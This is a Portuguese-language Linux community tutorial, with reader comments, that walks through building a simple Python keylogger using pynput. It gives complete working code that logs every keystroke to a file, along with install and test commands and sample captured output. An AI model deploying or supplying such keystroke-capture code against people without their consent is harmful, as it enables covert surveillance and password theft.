Como criar um keylogger em Python

Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.

[ Hits: 1.919 ]

Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.city


Introdução



Antes de tudo, o propósito deste artigo é educacional. Tenho ciência de que o conteúdo abordado no artigo pode ser usado tanto para o bem quanto para mal.

Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.

Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.

Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!

Mão na massa

No Python existem várias formas de se obter o mesmo resultado. Para este artigo utilizaremos a biblioteca pynput para obtermos acesso ao teclado. Também utilizarei a versão 3 do Python, não testei o código na versão 2.

Primeiramente verifique se você possui o pynput instalado:

python3 -m pynput
/usr/bin/python3: No module named pynput

A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:

pip3 install pynput

Feito isso, teste novamente:

python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed

Tudo certo, já podemos começar!

Segue a primeira versão de nosso keylogger com comentários:

vim keylogger.py

#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener

#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"

def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''

    #converter a tecla pressionada para string
    keydata = str(key)

    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)

#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()

Vamos agora executar e testar o código:

python3 keylogger.py

Abra um segundo terminal e monitore o arquivo de log:

tail -f /home/fabio/python/keylogger/log.txt

Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:

Key.shift_r'V''i''v''a'Key.space'o'Key.spaceKey.shift_r'L''i''n''u''x'Key.shift_r'!''"'Key.backspaceKey.enterKey.alt'3'

Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.

Na próxima página veremos como melhorar isso.

    Próxima página

Páginas do artigo
   1. Introdução
   2. Incrementando o código
Outros artigos deste autor

SQL Dicas & Truques (parte 2)

Formatando Disquetes

Viva o Linux adere à moda Orkut

Enviando email em formato HTML em PHP

Clicador automático de Tinder com Python

Leitura recomendada

Clicador automático de Tinder com Python

Pydev - Preparando o Eclipse para o Python

Sockets em Python

Como isolar seus projetos Python com virtualenv (ambiente virtual)

Threads - Importância dentro de um software

  
Comentários
[1] Comentário enviado por REDN1T em 04/01/2019 - 17:03h

Gostei do seu código, ele esta tão bem comentado que eu que não programo em python consigo enteder o que está acontecendo. Continue assim.

[2] Comentário enviado por BiaMonteiro em 04/01/2019 - 18:44h

Daqui a pouco os hackers do Kali Linux vão usar o Python para desenvolver essa ferramenta.
No mais, ótimo artigo, deixarei meu like.

[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!

[4] Comentário enviado por fabio em 08/01/2019 - 02:09h


[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!


Você provavelmente não copiou o código corretamente. No final do artigo tem um link para o script no GitHub, baixe o código completo de lá.


Contribuir com comentário